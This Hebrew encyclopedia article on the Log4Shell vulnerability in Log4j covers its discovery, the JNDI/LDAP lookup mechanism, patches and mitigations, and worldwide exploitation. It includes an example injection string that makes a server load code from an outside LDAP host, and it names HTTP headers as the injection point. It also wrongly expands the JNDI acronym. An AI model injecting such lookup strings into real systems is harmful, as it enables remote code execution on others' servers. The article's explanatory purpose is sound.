Log4Shell

Log4Shell (קוד: CVE-2021-44228) הוא השם שניתן לחולשה בספרייה Log4j, ספריית לוגים פופולרית של Java, המאפשרת הרצת קוד שרירותי (Remote Code Execution). פגיעה זו, שלא הבחינו בקיומה מאז 2013 - נחשפה באופן פרטי לקרן התוכנה אפאצ'י, ש-Log4j הוא פרויקט שלה, על ידי צוות האבטחה בענן של קבוצת עליבאבא ב-24 בנובמבר 2021, ונחשפה בפומבי ב-9 בדצמבר 2021. קרן Apache העניקה ל-Log4Shell דירוג חומרת CVSS של 10, הגבוה ביותר האפשרי. ההערכה היא שהפגיעות משפיעה על מאות מיליוני מכשירים. החולשה מנצלת את היכולת של Log4j המאפשרת בקשות לשרתי LDAP ו-JNDI שרירותיים, מבלי לבדוק את התגובות. בקשות אלו מאפשרות לתוקפים להריץ קוד Java שרירותי בשרת או במחשב אחר, או להדליף מידע רגיש. שירותים רבים התגלו כפגיעים לחולשה, ורשימה של פרויקטי התוכנה המושפעים פורסמה על ידי צוות האבטחה של Apache. השירותים המסחריים המושפעים כוללים את AWS, Cloudflare, iCloud, Minecraft: Java Edition, סטים Tencent QQ ועוד רבים אחרים. Log4Shell היא אחת מהחולשות החמורות ביותר שהתגלו מעולם. חברת LunaSec אפיינה את הפגיעות כ"כשל עיצובי בעל פרופורציות קטסטרופליות", חברת Teneble אמרה כי החולשה הייתה "הפגיעות הגדולה והקריטית ביותר אי פעם", ו- Ars Technica כינתה זאת "ללא ספק הפגיעה החמורה ביותר אי פעם". ערך מורחב – Log4j Log4j היא ספריית קוד פתוח המאפשרת למפתחי תוכנה לרשום (log) נתונים בתוך האפליקציות שלהם. נתונים אלה יכולים לכלול קלט משתמש. הספרייה נמצאת בשימוש כמעט בכל מקום ביישומי Java, במיוחד בתוכנות ארגוניות. הספרייה נכתבה במקור בשנת 2001 על ידי Ceki Gülcü, וכעת היא חלק מ- Apache Logging Services, פרויקט של קרן התוכנה אפאצ'י. חבר בוועדת אבטחת הסייבר לשעבר של הנשיא ברק אובמה, טום קלרמן, תיאר את אפאצ'י כ"אחת התומכות הענקיות של גשר המאפשר את רקמת החיבור בין עולמות היישומים וסביבות המחשב". ממשק ה-JNDI של Java (בראשי תיבות: ה-Java Native Direcotry Interface), מאפשר חיפוש של אובייקטי Java בזמן ריצה בהינתן כתובת למקום שמאחסן את הנתונים שלהם. JNDI יכול לעבוד עם מספר ממשקי Directory, כאשר כל אחד מספק "סכימה" שונה של חיפוש קבצים. בין הממשקים הללו ניתן למצוא את LDAP, המאחזר את נתוני האובייקט ככתובת URL משרת מתאים, מקומי או מכל מקום באינטרנט. בקונפיגורציה הרגילה, כאשר log4j כותבת הודעת לוג, מתבצעת פעולת חיפוש והחלפה של מחרוזות מיוחדות מהצורה {prefix:name}$ בתוך ההודעה הנכתבת. חלק מהתבניות המיוחדות שיכולות להיות מזוהות היא הצורה{<jndi:<lookup}$; על ידי הכנסת מחרוזת כזו עם שרת lookup בשליטת התוקף (מסוג LDAP, למשל), הספרייה תפנה לכתובת ה-URL הרשומה באמצעות פרוטוקול ה-LDAP ותטען את הנתונים בו כאובייקטי Java. כך לדוגמה, ניסיון הדפסה של המחרוזת {jndi:ldap://example.com/file}$, יגרור טעינה של הקוד שמאוחסן בכתובת זו, גם אם מדובר בשרת חיצוני. משום שבקשות HTTP נכתבות פעמים רבות ללוג, ווקטור תקיפה נפוץ הוא הכנסה של המחרוזת הזדונית לתוך HTTP Header שמתועד פעמים רבות, כגון User-Agent. התיקון עבור פגיעות אלו פורסמו ב-6 בדצמבר 2021, שלושה ימים לפני פרסום הפגיעות, בגרסה 2.15.0-rc1 של Log4j. התיקון כלל הגבלת השרתים והפרוטוקולים שניתן להשתמש בהם לצורך חיפושים (lookups) של אובייקטים. לאחר מכן חוקרים גילו באג קשור, CVE-2021-45046, המאפשר הרצת קוד בצורה מקומית או מרוחקת בתצורות מסוימות שאינן ברירת מחדל. באג זה תוקן בגרסה 2.16.0, אשר השביתה את כל תכונות ה-JNDI ואת תמיכה בחיפושי הודעות (message lookups). עבור גרסאות קודמות, מומלץ להסיר את המחלקה org.apache.logging.log4j.core.lookup.JndiLookup ממשתנה ה-classpath כדי למנוע ניצול של שתי הפגיעויות. בנוסף, ניתן לשנות את ה-system property בשם log4j2.formatMsgNoLookups ל- true, אך שינוי זה אינו מונע ניצול של CVE-2021-45046. גרסאות חדשות יותר של Java Runtime Environment (JRE) מפחיתות את הפגיעות הזו על ידי חסימת טעינת קוד מרחוק כברירת מחדל, אם כי וקטורי תקיפה אחרים עדיין קיימים ביישומים מסוימים. פורסמו מספר שיטות וכלים כדי לסייע בזיהוי של שימוש בגרסאות log4j פגיעות בחבילות Java. החולשה מאפשרת להאקרים להשיג שליטה על מכשירים פגיעים באמצעות Java. ההאקרים משתמשים בפגיעות כדי לנצל את היכולות של מכשירי הקורבנות; השימושים כוללים כריית מטבעות קריפטוגרפיים, יצירת רשתות בוטים, שליחת דואר זבל ופעילויות לא חוקיות אחרות כגון התקפות כופר. בימים שלאחר פרסום הפגיעות, חברת צ'ק פוינט עקבה אחרי מיליוני התקפות שיזמו האקרים, כאשר כמה חוקרים צפו בקצב של למעלה ממאה התקפות לדקה, שהביא בסופו של דבר לתוצאה של כמעל 40% מהרשתות העסקיות בעולם שהותקפו. לדברי מנכ"ל Cloudflare, מתיו פרינס, עדויות לשימוש או בדיקה להימצאות של החולשה נצפו כבר ב-1 בדצמבר, תשעה ימים לפני שהחולשה נחשפה בפומבי. בנוסף, לדברי GreyNoise, חברת אבטחה מקוונת, מספר כתובות IP כבר סרקו אתרים במקרה למצוא שרתים פגיעים. כמה botnets התחילו לסרוק את הפגיעות, כולל Muhstik botnet, כמו גם "מיראי", צונאמי ו-XMRig. כמה קבוצות מדינתיות בסין ובאיראן ניצלו את הפגיעות, לפי צ'ק פוינט. בארצות הברית, מנהל הסוכנות לאבטחת סייבר ותשתיות (CISA), ג'ן איסטרלי, תיאר את החולשה כ"אחת הרציניות שראיתי בכל הקריירה שלי, אם לא החמורה ביותר", והסביר כי מאות מיליוני מכשירים הושפעו תוך שהוא מייעץ לספקים לתעדף עדכוני תוכנה. המרכז הקנדי לאבטחת סייבר (CCCS) קרא לארגונים לנקוט בפעולה מיידית. סוכנות ההכנסה של קנדה סגרה זמנית את השירותים המקוונים שלה לאחר שנודע על החולשה, בעוד שממשלת קוויבק סגרה כמעט 4,000 מאתרי האינטרנט שלה כ"צעד מונע". המשרד הפדרלי לביטחון מידע הגרמני (BSI) הגדיר את החולשה כרמת האיום הגבוהה ביותר של הסוכנות, וכינה אותה "מצב איום קריטי ביותר" (מתורגם). הארגון גם דיווח כי מספר התקפות כבר היו מוצלחות וכי עדיין קשה להעריך את היקף הניצול. מרכז אבטחת הסייבר הלאומי של הולנד (NCSC) החל ברשימה מתמשכת של יישומים פגיעים. חברת ניהול משאבי אנוש וניהול כוח אדם, UKG, אחד העסקים הגדולים בתעשייה, הייתה מטרה למתקפת כופר שהשפיעה על עסקים גדולים. UKG מסרה כי אין לה ראיות לניצול של Log4Shell בתקרית, אם כי האנליסט אלן ליסקה מחברת אבטחת הסייבר Recorded Future אמר כי ייתכן שיש קשר. כאשר חברות גדולות יותר החלו לשחרר תיקונים לחולשה, הסיכון לעסקים קטנים גדל כאשר האקרים התמקדו ביעדים פגיעים יותר. הזרקת SQL אתר האינטרנט הרשמי של Log4Shell (באנגלית) Log4j website NCSC overview of Log4Shell on GitHub Common Vulnerabilities and Exposures page National Vulnerabilities Database page Projects affected by cve-2021-44228, by Apache Security Team Wortley, Free; Thrompson, Chris; Allison, Forrest (9 בדצמבר 2021). "Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package". LunaSec (באנגלית). נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) "CVE-2021-44228". Common Vulnerabilities and Exposures. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) Povolny, Steve; McKee, Douglas (10 בדצמבר 2021). "Log4Shell Vulnerability is the Coal in our Stocking for 2021". McAfee (באנגלית). נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) "Worst Apache Log4j RCE Zero day Dropped on Internet". Cyber Kendra. 9 בדצמבר 2021. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) Newman, Lily Hay (10 בדצמבר 2021). "'The Internet Is on Fire'". Wired (באנגלית אמריקאית). ISSN 1059-1028. נבדק ב-12 בדצמבר 2021. {{cite news}}: (עזרה) Murphy, Hannah (2021-12-14). "Hackers launch more than 1.2m attacks through Log4J flaw". Financial Times. נבדק ב-2021-12-17. "Apache Log4j Security Vulnerabilities". Log4j. Apache Software Foundation. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) Mott, Nathaniel (10 בדצמבר 2021). "Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit". PC Magazine (באנגלית). נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) Goodin, Dan (10 בדצמבר 2021). "Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet". Ars Technica (באנגלית אמריקאית). נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) "Apache projects affected by log4j CVE-2021-44228". 14 בדצמבר 2021. {{cite web}}: (עזרה) "Update for Apache Log4j2 Issue (CVE-2021-44228)". Amazon Web Services. 12 בדצמבר 2021. נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) Lovejoy, Ben (14 בדצמבר 2021). "Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade". 9to5mac. {{cite web}}: (עזרה) "Security Vulnerability in Minecraft: Java Edition". Minecraft. Mojang Studios. נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) Goodin, Dan (10 בדצמבר 2021). "The Internet's biggest players are all affected by critical Log4Shell 0-day". ArsTechnica. נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) Rundle, David Uberti and James (15 בדצמבר 2021). "What Is the Log4j Vulnerability?". {{cite web}}: (עזרה) Barrett, Brian. "The Next Wave of Log4J Attacks Will Be Brutal". Wired (באנגלית אמריקאית). ISSN 1059-1028. נבדק ב-2021-12-17. Goodin, Dan (2021-12-13). "As Log4Shell wreaks havoc, payroll service reports ransomware attack". Ars Technica (באנגלית אמריקאית). נבדק ב-2021-12-17. Yan, Tao; Deng, Qi; Zhang, Haozhe; Fu, Yu; Grunzweig, Josh (10 בדצמבר 2021). "Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)". Unit 42. Palo Alto Networks. {{cite web}}: (עזרה) "Apache Log4j 2". Apache Software Foundation. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) Byrnes, Jesse (2021-12-14). "Hillicon Valley — Apache vulnerability sets off alarm bells". TheHill (באנגלית). נבדק ב-2021-12-17. Graham-Cumming, John (10 בדצמבר 2021). "Inside the Log4j2 vulnerability (CVE-2021-44228)". The Cloudflare Blog (באנגלית). נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) "Restrict LDAP access via JNDI by rgoers #608". Log4j (באנגלית). 5 בדצמבר 2021. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) "CVE-2021-45046". Common Vulnerabilities and Exposures. 15 בדצמבר 2021. נבדק ב-15 בדצמבר 2021. {{cite web}}: (עזרה) Greig, Jonathan (14 בדצמבר 2021). "Second Log4j vulnerability discovered, patch already released". ZDNet (באנגלית). נבדק ב-17 בדצמבר 2021. {{cite web}}: (עזרה) Ducklin, Paul (12 בדצמבר 2021). "Log4Shell explained – how it works, why you need to know, and how to fix it". Naked Security. Sophos. נבדק ב-12 בדצמבר 2021. {{cite web}}: (עזרה) "Exploiting JNDI Injections in Java". Veracode. 2019-01-03. נבדק ב-2021-12-15. "Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)". www.lunasec.io (באנגלית). 13 בדצמבר 2021. נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) Woodyard, Chris. "'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw". USA Today (באנגלית אמריקאית). נבדק ב-2021-12-17. Duckett, Chris. "Log4j RCE activity began on 1 December as botnets start using vulnerability". ZDNet (באנגלית). נבדק ב-13 בדצמבר 2021. {{cite web}}: (עזרה) "Exploit activity for Apache Log4j vulnerability - CVE-2021-44228". Greynoise Research. 10 בדצמבר 2021. נבדק ב-14 בדצמבר 2021. {{cite web}}: (עזרה) Zugec, Martin (13 בדצמבר 2021). "Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild". Business Insights. Bitdefender. {{cite web}}: (עזרה) "Statement from CISA Director Easterly on "Log4j" Vulnerability". CISA. 11 בדצמבר 2021. {{cite web}}: (עזרה) "Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action". Government of Canada (באנגלית). 12 בדצמבר 2021. {{cite web}}: (עזרה) Cabrera, Holly (12 בדצמבר 2021). "Facing cybersecurity threats, Quebec shuts down government websites for evaluation". CBC News. נבדק ב-12 בדצמבר 2021. {{cite news}}: (עזרה) Sauerwein, Jörg (12 בדצמבר 2021). "BSI warnt vor Sicherheitslücke". Tagesschau (בגרמנית). {{cite web}}: (עזרה) "Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage" [Red alarm: Log4Shell vulnerability causes extremely critical threat situation] (הודעה לעיתונות) (בגרמנית). Federal Office for Information Security. 11 בדצמבר 2021. {{cite press release}}: (עזרה) J. Vaughan-Nichols, Steven (14 בדצמבר 2021). "Log4Shell: We Are in So Much Trouble". The New Stack. {{cite web}}: (עזרה) "NCSC-NL/log4shell". National Cyber Security Centre (Netherlands). נבדק ב-14 בדצמבר 2021. {{cite web}}: (עזרה) Bray, Hiawatha (15 בדצמבר 2021). "Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe". The Boston Globe (באנגלית אמריקאית). נבדק ב-2021-12-17. {{cite web}}: (עזרה)